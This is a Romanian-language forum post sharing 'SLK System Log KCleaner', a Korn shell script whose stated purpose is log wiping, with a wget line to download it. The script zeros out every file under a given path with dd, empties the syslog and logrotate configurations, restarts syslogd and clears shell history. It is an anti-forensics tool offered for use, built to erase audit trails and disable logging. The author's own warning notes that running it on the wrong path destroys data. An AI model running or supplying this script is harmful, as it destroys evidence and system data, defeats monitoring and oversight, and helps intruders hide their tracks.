Jump to content
pyth0n3

SLK System Log KCleaner

Recommended Posts

Atentie pe ce path il rulati ca nu mai scoateti datele

Daca il rulati fara argumente va prezinta un display

Functioneaza in sistemele Linux bineinteles

Korn Shell Script

#!/bin/ksh
#Author:Pyth0n3
#Date: Jan 10 2012
#Purpose: Log wiping


IN=$1

function display {
echo "
----------------------------------------------
- Usage: slk.ksh <path_to_log> -
----------------------------------------------
- Example: ./slk.ksh /var/log -
----------------------------------------------
- Warning: will wipe all log data with 0 -
----------------------------------------------
- Will wipe even .tar .gz archive from logs -
----------------------------------------------
- Syslog/Logrotate Directive cleaning -
----------------------------------------------"
echo
}

function final {

function busy {

set -A ind -- "-" "-"
integer n=${#ind[@]}
integer i=0

while true
do
print -n -- "${ind[i]}"
((i=(i+1)%n))
sleep 1
done

}
busy & busypid=$!

clear
print " "
print "[+] $(date) Start Log Cleaning Please Wait "
print " "
sleep 10

LOCATION=`find $IN -name "*" -type f`
for f in $LOCATION; do
dd if=/dev/zero of=./$f bs=1 count=`echo $(stat -c%s "$f")`;
done

clear
print " "
print "[+] $(date) End Log Cleaning "

kill $busypid
print "[+] Start syslog/logrotate configuration"
}

function logfix {
filename=/etc/syslog.conf
if [ -f $filename ]
then
mv $filename $filename.bck
touch $filename
killall -HUP syslogd
print "[+] End syslog configuration"
else
echo Syslog configuration file skiped
fi
}

function rotatefix {

filename2=/etc/logrotate.conf
if [ -f $filename ]
then
mv $filename2 $filename2.bck
touch $filename2
if [ -e /usr/sbin/logrotate ]
then
/usr/sbin/logrotate -f /etc/logrotate.conf
else
echo Skiped logrotate
fi
print "[+] End Logrotate configuration"
else
echo Logrotate configuration file skiped
fi
}

if [ -n "$1" ]; then
final
logfix
rotatefix
history -c
echo "[+] Work done!"
echo "[+]To erase a line you've written at the command prompt, use Ctrl-U"

else
display
fi

Download:

wget http://sprunge.us/BWZC -O slk.ksh 

Edited by pyth0n3
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...